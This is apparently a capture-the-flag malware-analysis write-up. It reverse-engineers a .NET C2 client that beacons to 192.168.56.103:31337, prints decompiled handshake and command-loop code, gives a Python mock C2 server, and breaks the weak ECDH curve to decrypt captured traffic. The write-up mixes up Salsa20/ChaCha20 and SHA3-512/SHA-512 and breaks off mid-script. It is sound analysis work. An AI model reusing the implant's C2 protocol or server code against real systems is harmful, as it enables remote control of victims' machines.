uVar7 = System_Net_Sockets_System_Net_Sockets_TcpClient__GetStream();
setter(lVar2 + 0x28,uVar7);
The first line gets the underlying NetworkStream
from the TcpClient
, and the next line sets offset 0x28 of the global state to be this NetworkStream
. The next line calls the function we’ll spend the most time on:
1
FUN_140107ea0();
The Handshake
Like the main function, this function begins by calling a garbage collection-related function if a value in the data section is NULL:
1
2
3
if (DAT_140158fb8 != 0) {
FUN_140001ed4();
}
The next few lines initialize a BouncyCastle BigInteger
using one of its constructors. BouncyCastle is a crypto library for Java that was later ported to C#, and is used extensively throughout this challenge.
1
2
3
4
5
6
7
8
9
10
11
// Initialize a new object
CALL RhpNewFast
MOV RSI,RAX
// Decrypt a string from the data section
LEA RCX,[DAT_14013e9f8]
CALL decrypt_string
// Call the constructor with the new object, the decrypted string, and 0x10
MOV RDX,RAX
MOV RCX,RSI
MOV R8D,0x10
CALL BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_1
By debugging the binary and breaking at the call to the constructor, we see that the decrypted string pointed to by rcx
at the time of the call is “13371337” repeating many times:
We don’t have an exact way of knowing which constructor is called (we only know that it’s ___ctor_1
), so we’ll have to cross-reference the arguments to the call with the constructors defined in the code for the BigInteger class. The only constructor that receives a string and a number and as an argument is public BigInteger(string str, int radix)
, so this is the constructor that’s called here. This constructor will construct a BigInteger
from the string shown above in base 16, i.e. hex. We’ll hereinafter refer to this BigInt as bit_mask
. After constructing bit_mask
, the program panics in case either of the members at offset 0x10 and 0x28 of the global state are NULL:
1
2
3
4
5
global_state = GLOBAL_STATE;
....
if ((*(longlong *)(global_state + 0x10) == 0) || (*(longlong *)(global_state + 0x28) == 0)) {
... throw an exception
}
In our case, the program does not throw an exception. The next line calls a function with the single argument 0x80
:`
1
unaff_RDI = FUN_140107e20(0x80);
The function returns the following object:
Everything up until the middle of the fourth line is function pointers and metadata, and they don’t tell us much. After the middle of the fourth line, we have 16, or 0x80 / 8
bytes of data. After a few times of running the binary, I noticed that these bytes change each time, so I concluded that this function generates a random BigInt with the specified number of bits. We’ll refer to it as random_bigint_k_bits
from now on. The next operation is interesting: it uses the member at offset 0x10 of the global state to call a function on the BigInt that was just generated:
1
2
3
plVar10 = (longlong *)
(**(code **)(**(longlong **)(global_state + 0x10) + 0xe0))
(*(longlong **)(global_state + 0x10),unaff_RDI);
This is the first time we see the global state being used to do such a thing, so now is a good time to figure out what exactly is stored in the global state. Looking at the xrefs for GLOBAL_STATE
in the data section, we see the following functions:
Out of these xrefs, there’s only one piece of code that initializes the member at offset 0x10 of the global state: the one at 140107cea
, the third xref.
How is the global state initialized?
The function that initializes the global state starts with initializing 5 BigInteger
s by calling decrypt_string
and then using the constructor we’ve seen before.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// First BigInt
uVar2 = RhpNewFast(&DAT_14015b268);
decrypt_string(&DAT_14013fc68);
BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_1(uVar2,extraout_RAX,0x10);
// Second BigInt
uVar3 = RhpNewFast(&DAT_14015b268);
decrypt_string(&DAT_14013fa90);
BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_1(uVar3,extraout_RAX_00,0x10);
// Third BigInt
uVar4 = RhpNewFast(&DAT_14015b268);
decrypt_string(&DAT_14013eec8);
BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_1(uVar4,extraout_RAX_01,0x10);
// Fourth BigInt
uVar5 = RhpNewFast(&DAT_14015b268);
decrypt_string(&DAT_14013ec18);
BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_1(uVar5,extraout_RAX_02,0x10);
// Fifth BigInt
uVar6 = RhpNewFast(&DAT_14015b268);
decrypt_string(&DAT_14013e860);
BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_1(uVar6,extraout_RAX_03,0x10);
By the debugging the function, we can see the value of each BigInt
(in base 10):
1
2
3
4
5
6
7
8
9
10
1. 30937339651019945892244794266256713890440922455872051984768764821736576084296075471241474533335191134590995377857533
2. 24699516740398840043612817898240834783822030109296416539052220535505263407290501127985941395251981432741860384780927
3. 24561086537518854907476957344600899117700350970429030091546712823181765905950742731855058586986320754303922826007424
4. 27688886377906486650974531457404629460190402224453915053124314392088359043897605198852944594715826578852025617899270
5. 20559737347380095279889465811846526151405412593746438076456912255094261907312918087801679069004409625818172174526443
The next line uses those BigInts to initialize an Elliptic Curve over a finite field:
1
2
uVar7 = RhpNewFast();
BouncyCastle_Cryptography_Org_BouncyCastle_Math_EC_FpCurve___ctor_1(uVar7,uVar2,uVar3,uVar4,0,0,0);
If you aren’t familiar with Elliptic Curves (ECs), I highly recommend reading my post about making an Elliptic Curve-based Secure Chat in Rust before continuing with the writuep , since solving the challenge requires prior knowledge of ECs. By looking up the constructors of the FpCurve, we can see the meaning of each argument:
uVar2
is thea
parameter of the curve (recall that ECs are of the formy^2 = x^3 + ax + b (mod p)
)uVar3
is theb
parameterAnd
uVar4
is the modulus of the curve. Note that the modulus is not prime! The next line sets the member at offset 0x8 of the global state to point at theFpCurve
that was just created:
1
2
lVar1 = GLOBAL_STATE;
setter(GLOBAL_STATE + 8,uVar7);
After that, a function is called at some offset of the FpCurve
on the other two BigInts that were generated:
1
uVar2 = (**(code **)(**(longlong **)(lVar1 + 8) + 0x58))(*(longlong **)(lVar1 + 8),uVar5,uVar6);
Disassembling this function is a bit of a pain, since it’s called from an object at runtime. Instead, we’ll use our knowledge of ECs to guess what it does: what operation is there on an Elliptic Curve that takes in two numbers? Generating a point, of course! The uVar2
variable is, therefore, initialized to a point on the curve with coordinates uVar5
and uVar6
. This point is probably the generator point of the curve, since it is generated when initializing the global state. The next line also sets the member at offset 0x10 of the global state to point at the generator point. The last thing we do is generate a SecureRandom
PRNG, and set it at offset 0x18 of the global state:
1
2
3
4
5
6
lVar8 = RhpNewFast(&DAT_14015b188);
uVar2 = BouncyCastle_Cryptography_Org_BouncyCastle_Security_SecureRandom__CreatePrng
(&DAT_140149b98,1);
S_P_CoreLib_System_Random___ctor_0(lVar8,0);
setter(lVar8 + 0x10,uVar2);
setter(lVar1 + 0x18,lVar8);
To summarize what we know about the global state so far:
Offset 0x8 points to the
FpCurve
Offset 0x10 points to the base point of the curve
Offset 0x18 points to a PRNG
Offset 0x20 points to the
TcpClient
with 192.168.56.103 on port 31337Offset 0x28 points to the
NetworkStream
of saidTcpClient
Public Key Exchange
Before we want on the detour of how the global state is initialized, we were examining these lines:
1
2
3
4
unaff_RDI = random_bigint_k_bits(0x80);
plVar10 = (longlong *)
(**(code **)(**(longlong **)(global_state + 0x10) + 0xe0))
(*(longlong **)(global_state + 0x10),unaff_RDI);
The first line generates a random BigInt with 128 bits, and puts it into rdi
. After that, we call a method whose code is pointed to by *(global_state + 0x10) + 0xe0
. We’ve already established that at offset 0x10, the global state points to the base point of the curve. If so, this method is defined on the base point. As arguments, this method is passed the base point itself, and the random BigInt that was just generated. In other words, it’s an operation that takes in a point on the curve and a number. The most common operation with those inputs is scalar multiplication! If so, this line multiplies a random BigInt by the base point of the curve. Recall that in most EC crypto algorithms, this is exactly how the keypair is generated: we sample a random number k
, which is the private key, and multiply it by the generator point G
to get the pubkey, P = k * G
. The next few lines apply two different methods on the pubkey, XOR the results with the 13371337 mask, convert them to byte arrays, and send them to the server. These methods don’t take in any arguments, so it makes sense that they return the x and y coordinates of the pubkey. The fact that to use EC crypto algorithms we have to know the pubkey coordinates also supports this claim. The code for this is shown below.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// plVar 10 contains the public key at this point
unaff_RBP = (longlong *)(**(code **)(*plVar10 + 0x88))();
// ...
unaff_R14 = FUN_140002ad0(&DAT_14018b688,0x30);
// Get the X coordinate
plVar10 = (longlong *)(**(code **)(*unaff_RBP + 0x50))(unaff_RBP);
uVar11 = (**(code **)(*plVar10 + 0x30))(plVar10);
// XOR with the bit mask
uVar11 = BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__Xor(uVar11,bit_mask);
// Convert to a byte array
lStack_40 = unaff_R14 + 0x10;
local_38._0_4_ = 0x30;BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__ToByteArray_2(uVar11,1,&lStack_40);
// Send to the server
local_50 = unaff_R14 + 0x10;
local_48._0_4_ = 0x30;
System_Net_Sockets_System_Net_Sockets_NetworkStream__Write_0
// Get the Y coordinate
(*(undefined8 *)(global_state + 0x28),&local_50);
plVar10 = (longlong *)(**(code **)(*unaff_RBP + 0x58))(unaff_RBP);
// XOR with the bit mask
uVar11 = (**(code **)(*plVar10 + 0x30))(plVar10);
uVar11 = BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__Xor(uVar11,bit_mask);
// Conver to a byte array
lStack_40 = unaff_R14 + 0x10;
local_38._0_4_ = 0x30;BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__ToByteArray_2(uVar11,1,&lStack_40);
// Send to the server
local_50 = unaff_R14 + 0x10;
local_48 = CONCAT44(local_48._4_4_,0x30);
System_Net_Sockets_System_Net_Sockets_NetworkStream__Write_0
(*(undefined8 *)(global_state + 0x28),&local_50);
After sending its own public key, the client reads the public key of the server from the socket. The coordinates sent by the server are XORed with the 13371337 mask, as was done when the client sent its own coordinates.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
lStack_40 = unaff_R14 + 0x10;
local_38 = CONCAT44(local_38._4_4_,0x30);
System_Net_Sockets_System_Net_Sockets_NetworkStream__Read_0
(*(undefined8 *)(global_state + 0x28),&lStack_40);
unaff_RBP = (longlong *)RhpNewFast(&DAT_14015b268);
if (DAT_140158ac0 == 0) goto LAB_14010808b;
}
__GetGCStaticBase_BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger();
LAB_14010808b:
BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_9
(unaff_RBP,1,unaff_R14,0,0x30,1);
uVar11 = BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__Xor(unaff_RBP,bit_mask);
lStack_40 = unaff_R14 + 0x10;
local_38._0_4_ = 0x30;
System_Net_Sockets_System_Net_Sockets_NetworkStream__Read_0
(*(undefined8 *)(global_state + 0x28),&lStack_40);
uVar12 = RhpNewFast(&DAT_14015b268);
BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_9(uVar12,1,unaff_R14,0,0x30,1);
bit_mask = BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__Xor(uVar12,bit_mask);
XOR “encryption” can easily be reversed if we know the key (in this case the 13371337 mask), so now each side knows the other’s public key. If at this point you’re thinking of ECDH (Elliptic Curve Diffie-Hellman), you’re not wrong! The next lines multiply the private key k of the client by the point with the coordinates we just got from the server:
1
2
3
4
plVar10 = (longlong *)
(**(code **)(**(longlong **)(global_state + 8) + 0x50))
(*(longlong **)(global_state + 8),uVar11,bit_mask);
plVar10 = (longlong *)(**(code **)(*plVar10 + 0xe0))(plVar10,unaff_RDI);
More specifically, the first line constructs a point on the curve whose x coordinate is uVar11
and whose y coordinate is bit_mask
. These variables store the x and y coordinates of the server’s pubkey, respectively. The second line multiplies the resulting point with unaff_RDI
, which stores the client’s private key. The next few lines (shown below) access the x coordinate of the resulting point. This is exactly ECDH!
1
2
3
plVar10 = (longlong *)(**(code **)(*plVar10 + 0x88))(plVar10);
//...
plVar10 = (longlong *)(**(code **)(*plVar10 + 0x50))();
We know that the second method gets the x coordinate since this is the same pattern we’ve seen earlier when the client sent its pubkey coordinates to the server. To derive the shared secret from the resulting x-coordinate, the client converts the x-coordinate to a byte array:
1
2
3
4
bit_mask = (**(code **)(*plVar10 + 0x30))(plVar10);
lStack_40 = unaff_R14 + 0x10;
local_38._0_4_ = 0x30;
BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger__ToByteArray_2(bit_mask,1,&lStack_40);
And then calls a small wrapper around this function: System_Security_Cryptography_System_Security_Cryptography_SHA3_512__HashData_0
. In other words, it hashes the x-coordinate with SHA512. In memory, the digest looks like this:
The digest is used to initialize a Salsa20 cipher:
1
2
3
4
5
6
7
bit_mask = RhpNewFast(&DAT_14015c6c0);
if (DAT_140158af0 != 0) {
FUN_1400010ae();
}
BouncyCastle_Cryptography_Org_BouncyCastle_Crypto_Engines_Salsa20Engine___ctor_0
(bit_mask,DAT_140158af8);
setter(global_state + 0x30,bit_mask);
A Salsa20 cipher requires a key and a nonce. By debugging the binary, we can see that the key is then first 32 bytes of the digest, and the nonce is the other 8 bytes. The last line sets the member at offset 0x30 of the global state to be the new Salsa20 cipher. Next, the client verifies the identity of the server by reading 8 bytes from the socket, decrypting them with the Salsa20 cipher, and comparing them to a decrypted string:
1
2
3
4
5
6
7
8
9
10
11
// The call to the function we just analyzed
bit_mask = recv_msg();
// Compare with decrypted string
decrypt_string(&DAT_140140100);
iVar9 = String__Equals_0(bit_mask,extraout_RAX_00);
if (iVar9 != 0) {
decrypt_string(&DAT_140140100);
FUN_140108540(extraout_RAX_01);
return;
}
// ... Throw an exception and exit
The code for the first function function is shown below (the function is also used in other places in the code, so I renamed it to recv_msg
). Note that only parts of the function are shown.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
void recv_msg(void)
{
longlong lVar1;
char cVar2;
longlong lVar3;
longlong lVar4;
undefined8 extraout_RAX;
ulonglong uVar5;
undefined8 extraout_RAX_00;
int iVar6;
longlong local_30;
undefined8 local_28;
local_30 = 0;
local_28 = 0;
// Store a pointer to the global state in lVar1 and a pointer to the stream in lVar3
if (DAT_140158fb8 == 0) {
lVar3 = *(longlong *)(GLOBAL_STATE + 0x28);
lVar1 = GLOBAL_STATE;
}
else {
FUN_140001ed4();
lVar3 = *(longlong *)(GLOBAL_STATE + 0x28);
lVar1 = GLOBAL_STATE;
}
GLOBAL_STATE = lVar1;
if ((lVar3 == 0) || (*(longlong *)(lVar1 + 0x30) == 0)) {
// Exception...
}
else {
// Allocate 0x400 bytes for storing the decrypted message
lVar3 = FUN_140002ad0(&DAT_14018b688,0x400);
// Allocate 1 byte for reading the next byte
lVar4 = FUN_140002ad0(&DAT_14018b688,1);
// Current index in the decrypted message array
uVar5 = 0;
do {
iVar6 = (int)uVar5;
local_30 = lVar4 + 0x10;
local_28 = CONCAT44(local_28._4_4_,1);
// Read a byte from the stream
S_P_CoreLib_System_IO_Stream__ReadAtLeastCore(*(undefined8 *)(lVar1 + 0x28),&local_30,1,1);
// This function uses the Salsa20 cipher at GLOBAL_STATE+0x30 and decrypts a byte
cVar2 = FUN_14007cb70(*(undefined8 *)(lVar1 + 0x30),*(undefined *)(lVar4 + 0x10));
// Stop if the resulting byte is NULL
if (cVar2 == '\0') {
if (DAT_140158df0 == 0) goto LAB_140108495;
goto LAB_14010852d;
}
// Write the decrypted byte to the current index in the decrypted message array
*(char *)(lVar3 + 0x10 + uVar5) = cVar2;
// Step forward one byte
uVar5 = (ulonglong)(iVar6 + 1U);
} while ((int)(iVar6 + 1U) < 0x400);
}
// Exception...
LAB_14010852d:
iVar6 = (int)uVar5;
FID_conflict:__GetGCStaticBase_S_P_CoreLib_System_Text_Latin1Encoding();
LAB_140108495:
// Encode as an ASCII string and return the result
S_P_CoreLib_System_Text_ASCIIEncoding__GetString(*(undefined8 *)(DAT_140238838 + 8),lVar3,0,iVar6)
;
return;
}
By stepping with a debugger, we can see that the string the decrypted message is compared against is “verify\x00”. If the strings are equal (i.e. the client has successfully validated the identity of the server), the same thing happens in the other direction: the client encrypts the string “verify\x00”, and sends it to the server, which is supposed to decrypt the ciphertext, and verify that it is equal to “verify\x00”. I renamed the function that sends the encrypted message to send_msg
. It is quite similar to the previous function, so there’s little point in showing its code here. Let’s add the server’s side in the handshake to our Python server:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from hashlib import sha512
from ecdsa import ellipticcurve, numbertheory
from ecdsa.ellipticcurve import Point
import socket
from Crypto.Cipher import ChaCha20
p = 30937339651019945892244794266256713890440922455872051984768764821736576084296075471241474533335191134590995377857533
a = 24699516740398840043612817898240834783822030109296416539052220535505263407290501127985941395251981432741860384780927
b = 24561086537518854907476957344600899117700350970429030091546712823181765905950742731855058586986320754303922826007424
x = 1305488802776637960515697387274764814560693662216913070824404729088258519836180992623611650289275235949409735080408
y = 2840284555446760004012395483787208388204705580027573689198385753943125520419959469842139003551394700125370894549378
n = 30937339651019945892244794266256713890440922455872051984762505561763526780311616863989511376879697740787911484829297
curve = ellipticcurve.CurveFp(p, a, b)
generator = Point(curve, x, y, n)
# Generate our keypair
priv_key = 1337
pubkey = priv_key * generator
# "Encrypt" it by XORing with 13371337...
xor_key = b"\x13\x37"*24
x = pubkey.x()
y = pubkey.y()
x_wire_bytes = bytes([a ^ b for a, b in zip(xor_key, x.to_bytes(0x30, "big"))])
y_wire_bytes = bytes([a ^ b for a, b in zip(xor_key, y.to_bytes(0x30, "big"))])
HOST = '0.0.0.0'
PORT = 31337
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.bind((HOST, PORT))
s.listen(1)
print(f"Listening on {HOST}:{PORT}")
# Accept a connection
conn, addr = s.accept()
with conn:
print(f"Connected by {addr}")
while True:
# Read the client's pubkey
client_x_wire_bytes = conn.recv(1024)
client_y_wire_bytes = conn.recv(1024)
client_x = int.from_bytes(bytes([a ^ b for a, b in zip(xor_key, client_x_wire_bytes)]))
client_y = int.from_bytes(bytes([a ^ b for a, b in zip(xor_key, client_y_wire_bytes)]))
# Derive the shared secret with ECDH
client_pubkey = Point(curve, client_x, client_y)
print(f"Client's pubkey: {client_pubkey}")
shared = priv_key * client_pubkey
secret = sha512(int.to_bytes(shared.x(), 0x30, "big"))
print(f"Secret: {secret.hexdigest()}")
cipher = ChaCha20.new(key=secret.digest()[:32], nonce=secret.digest()[32:40])
# Send our pubkey
conn.sendall(x_wire_bytes)
conn.sendall(y_wire_bytes + cipher.encrypt(b"verify\x00"))
# Verify client's identity
client_sig = conn.recv(1024)
print(cipher.encrypt(client_sig))
The C2 Commands
After the handshake (if both sides have verified each other’s identity), the client starts a loop where it receives encrypted commands from the server (with recv_msg
), executes them, and sends the server the encrypted result with send_msg
. The commands by themselves aren’t important to us, so we won’t dwell on this part much. I’ll just note that the logic of the loop looks as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
while (true) {
// Receive encrypted message from server
uVar2 = recv_msg();
// Split based on the character "|"
decrypt_string(&DAT_1401401a0);
puVar7 = extraout_RAX;
if (extraout_RAX == (undefined *)0x0) {
puVar7 = &DAT_14013a048;
}
lVar3 = String.Split(uVar2,puVar7,0,0x7fffffff,0);
// ...
// Is the command "cd"?
... execute cd
// Is the command "ls"?
... execute ls
...
// Is the command "exit'?
break;
}
Decrypting the traffic
Extracting the public keys
At this point, after our analysis of the binary, we have a high-level understanding of what it does:
Connect to 192.168.56.103 on port 31337
Perform an ECDH (Elliptic Curve DIffie-Hellman) handshake with the server on a non-standard curve to establish a shared secret, which is derived by SHA512-hashing the x-coordinate of the resulting shared point
Verify the identity of the server by having it encrypt the string “verify\x00” with Salsa20, where the key and nonce are derived from the shared secret, and send the resulting ciphertext. The client then decrypts the ciphertext with the same key and nonce, and verifies that the plaintext is equal to “verify\x00”
The server verifies the identity of the client in the same way
The server can then send various C2 commands to the client (e.g. “ls”), and the client sends the result. All of the traffic in this loop is encrypted with the Salsa20 cipher Along with the binary we also got a PCAP
capture.pcapng
, which we presume to be a communication session between the client and the server. We open the capture in Wireshark, and apply the filtertcp.payload
to only see packets that have a payload, and not other traffic like TCP ACKs. Our goal is to decrypt the traffic in the PCAP. We’ll start by extracting the public keys of the client and server, which are sent in the first four packets. Recall that the public key coordinates are XORed with the 13371337 mask, so we’ll have to XOR again with said mask to get the real coordinates. The first packet, for example, contains the x-coordinate of the client’s public key:
The payload can be extracted by right-clicking on the payload, and selecting “Copy as hex stream”. We then use the following Python script to decrypt each coordinate:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# The pubkeys sent over the network are "encrypted" by XORing them with
# 13371337...
# We need to XOR them again with that number to get the actual pubkeys
WIRE_CLIENT_PUBKEY_X = 0x0a6c559073da49754e9ad9846a72954745e4f2921213eccda4b1422e2fdd646fc7e28389c7c2e51a591e0147e2ebe7ae.to_bytes(0x30, "big")
WIRE_CLIENT_PUBKEY_Y = 0x264022daf8c7676a1b2720917b82999d42cd1878d31bc57b6db17b9705c7ff2404cbbf13cbdb8c096621634045293922.to_bytes(0x30, "big")
WIRE_SERVER_PUBKEY_X = 0xa0d2eba817e38b03cd063227bd32e353880818893ab02378d7db3c71c5c725c6bba0934b5d5e2d3ca6fa89ffbb374c31.to_bytes(0x30, "big")
WIRE_SERVER_PUBKEY_Y = 0x96a35eaf2a5e0b430021de361aa58f8015981ffd0d9824b50af23b5ccf16fa4e323483602d0754534d2e7a8aaf8174dc.to_bytes(0x30, "big")
# The decryption key
KEY = b"\x13\x37"*24
# Decrypt
client_pubkey_x = bytes([a ^ b for a, b in zip(WIRE_CLIENT_PUBKEY_X, KEY)])
client_pubkey_y = bytes([a ^ b for a, b in zip(WIRE_CLIENT_PUBKEY_Y, KEY)])
server_pubkey_x = bytes([a ^ b for a, b in zip(WIRE_SERVER_PUBKEY_X, KEY)])
server_pubkey_y = bytes([a ^ b for a, b in zip(WIRE_SERVER_PUBKEY_Y, KEY)])
# Convert to numbers
client_pubkey_x = int.from_bytes(client_pubkey_x, "big")
client_pubkey_y = int.from_bytes(client_pubkey_y, "big")
server_pubkey_x = int.from_bytes(server_pubkey_x, "big")
server_pubkey_y = int.from_bytes(server_pubkey_y, "big")
# Print the results
print("--CLIENT PUBKEY--")
print(f"X: {client_pubkey_x}")
print(f"Y: {client_pubkey_y}")
print("--SERVER PUBKEY--")
print(f"X: {server_pubkey_x}")
print(f"Y: {server_pubkey_y}")
Running this script prints the following.
1
2
3
4
5
6
7
--CLIENT PUBKEY--
X: 3902729749136290727021456713077352817203141198354795319199240365158569738643238197536678384836705278431794896368793
Y: 8229109857867260486993831343979405488668387983876094644791511977475828392446562276759399366591204626781463052691989
--SERVER PUBKEY--
X: 27688886377906486650974531457404629460190402224453915053124314392088359043897605198852944594715826578852025617899270
Y: 20559737347380095279889465811846526151405412593746438076456912255094261907312918087801679069004409625818172174526443
Breaking the curve
We now have the curve’s parameters and the two peers’ public keys. But how can we crack the shared secret used in the PCAP? First of all, we’ll write a Sage script with all the information we have so far:
1
2
3
4
5
6
7
8
p = 30937339651019945892244794266256713890440922455872051984768764821736576084296075471241474533335191134590995377857533
a = 24699516740398840043612817898240834783822030109296416539052220535505263407290501127985941395251981432741860384780927
b = 24561086537518854907476957344600899117700350970429030091546712823181765905950742731855058586986320754303922826007424
E = EllipticCurve(GF(p), [a,b])
G = E([1305488802776637960515697387274764814560693662216913070824404729088258519836180992623611650289275235949409735080408, 2840284555446760004012395483787208388204705580027573689198385753943125520419959469842139003551394700125370894549378])
client_pubkey = E([3902729749136290727021456713077352817203141198354795319199240365158569738643238197536678384836705278431794896368793,8229109857867260486993831343979405488668387983876094644791511977475828392446562276759399366591204626781463052691989])
server_pubkey = E([27688886377906486650974531457404629460190402224453915053124314392088359043897605198852944594715826578852025617899270,20559737347380095279889465811846526151405412593746438076456912255094261907312918087801679069004409625818172174526443])
If we get the private key of one of the peers, (e.g. get the a
such that a * G = client_pubkey
) we can derive the shared secret with the usual ECDH process, since we have the public key of both sides. To do this, we first note that the order of the generator point G is not prime:
1
2
3
4
sage: G.order()
30937339651019945892244794266256713890440922455872051984762505561763526780311616863989511376879697740787911484829297
sage: 30937339651019945892244794266256713890440922455872051984762505561763526780311616863989511376879697740787911484829297.is_prime()
False
Given a group H with operation *, the order of an element x is the minimal number k such that x * x * ... * x
k times is equal to the identity element 1. In an Elliptic Curve, the group operation is addition, so the order of a point P, denoted with ord(P)
, is the minimal number such that ord(P) * P = O
, where O is the point at infinity. In the vast majority of standard curves, the order of the generator is prime. This is important because the order of the generator determines the number of possible public keys: for each possible private key 0 < a < ord(G)
, we get a unique public key. To see why this is true, assume to the contrary that there exist two private keys 0 < a != b < ord(G)
so that aG = bG = P
. We also assume WLOG that a < b
. If so, we can write b = a + k
for some k > 0
. We now have aG = bG = (a + k)G = aG + kG
. Subtracting aG
from both sides, we arrive at the identity O = aG - aG = kG
. By the definition of order, it follows that k
is a multiple of the order n = ord(G)
, and therefore k >= ord(G)
. Therefore b = a + k >= a + ord(G) > ord(G)
, which contradicts our assumption that b < ord(G)
. Thus, there are only ord(G)
possible public keys. Suppose, like in our case, that the order of the generator ord(G)
is composite. We can reduce the order of a point by scalar-multiplying it with one of the prime factors. This can be verified in Sage:
1
2
3
4
sage: factor(client_pubkey.order())
35809 * 46027 * 56369 * 57301 * 65063 * 111659 * 113111 * 7072010737074051173701300310820071551428959987622994965153676442076542799542912293
sage: factor((client_pubkey * 35809).order())
46027 * 56369 * 57301 * 65063 * 111659 * 113111 * 7072010737074051173701300310820071551428959987622994965153676442076542799542912293
Indeed, the first prime factor, 35809
is not present in the second factorization. This can be proved as follows: let ord(client_pubkey) = p_1 * ... * p_n
be the prime factorization of the order of the client pubkey. Then (p_1 * ... * p_n) * client_pubkey = O
. We can write the previous identity as (p_2 * ... * p_n) * (p_1 * G) = O
, and so the order of p_1 * G
is p_2 * ... * p_n
. Recall that our goal is to find the private key a
such that a * G = client_pubkey
. Currently, the number of bits in the client pubkey’s order is 384, which is too large to just run SageMath’s discrete_log function. If, however, we multiply the client’s pubkey by the largest prime factor (7072010737074051173701300310820071551428959987622994965153676442076542799542912293), we can reduce the order to just 112 bits:
1
2
sage: (client_pubkey * 7072010737074051173701300310820071551428959987622994965153676442076542799542912293).order().nbits()
112
Running a discrete on a point of this order is completely feasible:
1
2
sage: G.discrete_log(client_pubkey * 7072010737074051173701300310820071551428959987622994965153676442076542799542912293)
27679883062056951792863337506078933792136713643975507332326412245544124379841591752362326681319448674139531287844912
But how can we use this result to compute the discrete log of the client’s pubkey (i.e. the client’s private key)? Let p_0
be the largest prime factor of the order ord(client_pubkey)
(the one we multiplied with the client’s pubkey). Putting it mathematically, we’ve found a number a
so that a * G = p_0 * client_pubkey
. If we let the client’s private key be b
, we can write a * G = p_0 * client_pubkey = p_0 * b * G
. It follows that a = p_0 * b
modulo n, where n is the order of the generator. Since we know a
and p_0
, we can solve for b
using the Extended Euclidean Algorithm!
1
2
3
4
sage: p_0 = 7072010737074051173701300310820071551428959987622994965153676442076542799542912293
sage: a = G.discrete_log(p_0 * client_pubkey)
sage: n = G.order()
sage: g, x, y = xgcd(p_0, n)
The solutions are of the form (b0 + i * (n // g)) % n
where b0 = (x * (a // g)) % n
for 0 <= i <= g
. The problem, however, is that g
, which determines the number of solutions, is 272 bits, which makes enumerating all solutions impractical… To solve this problem, let’s go back to the public key generation process. The client generates a random bigint with 128 bits, and multiplies it by the base point. This massively reduces the space of all possible private keys! We can get b
by finding all solutions to the equation a = p_0 * b (mod n)
where b < 2**128
(the maximal value for numbers with 128 bits):
1
2
3
4
5
6
7
sage: b0 = (x * (a // g)) % n
sage: solutions = []
sage: for i in range(g):
....: s = (b0 + i * (n // g)) % n
....: if s > 2**128:
....: break
....: solutions.append(s)
This results in only 77785 solutions! We can now manually check for each solution s
whether it is the private key by checking if s * G == client_pubkey
:
1
2
3
sage: for s in solutions:
....: if s * G == client_pubkey:
....: print(f"Found private key: {s}")
This takes a bit of time to run, but eventually it prints the following:
1
Found private key: 168606034648973740214207039875253762473
We now have everything we need to decrypt the traffic!
Decrypting the traffic
Armed with the private key, we can reconstruct the shared secret with the regular DH procedure of multiplying it with the server’s public key. Recall that the key and nonce for ChaCha20 are derived by SHA512-hashing the x-coordinate of the shared secret. After deriving the key and nonce, we encrypt/decrypt all of the messages that were sent in the PCAP (except for the pubkey coordinates, since they weren’t encrypted with the cipher). This is done with the following Python script, using the ecdsa
library for EC operations:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from hashlib import sha512
from ecdsa import ellipticcurve, numbertheory
from ecdsa.ellipticcurve import Point
import socket
from Crypto.Cipher import ChaCha20
p = 30937339651019945892244794266256713890440922455872051984768764821736576084296075471241474533335191134590995377857533
a = 24699516740398840043612817898240834783822030109296416539052220535505263407290501127985941395251981432741860384780927
b = 24561086537518854907476957344600899117700350970429030091546712823181765905950742731855058586986320754303922826007424
x = 1305488802776637960515697387274764814560693662216913070824404729088258519836180992623611650289275235949409735080408
y = 2840284555446760004012395483787208388204705580027573689198385753943125520419959469842139003551394700125370894549378
n = 30937339651019945892244794266256713890440922455872051984762505561763526780311616863989511376879697740787911484829297
curve = ellipticcurve.CurveFp(p, a, b)
server_pubkey = Point(curve, 27688886377906486650974531457404629460190402224453915053124314392088359043897605198852944594715826578852025617899270, 20559737347380095279889465811846526151405412593746438076456912255094261907312918087801679069004409625818172174526443)
client_privkey = 168606034648973740214207039875253762473
# ECDH Shared secret
shared_secret = client_privkey * server_pubkey
# Chacha20 where the key and nonce are based on the SHA512 digest of the x-coordinate of the shared secret
secret = sha512(int.to_bytes(shared_secret.x(), 0x30, "big"))
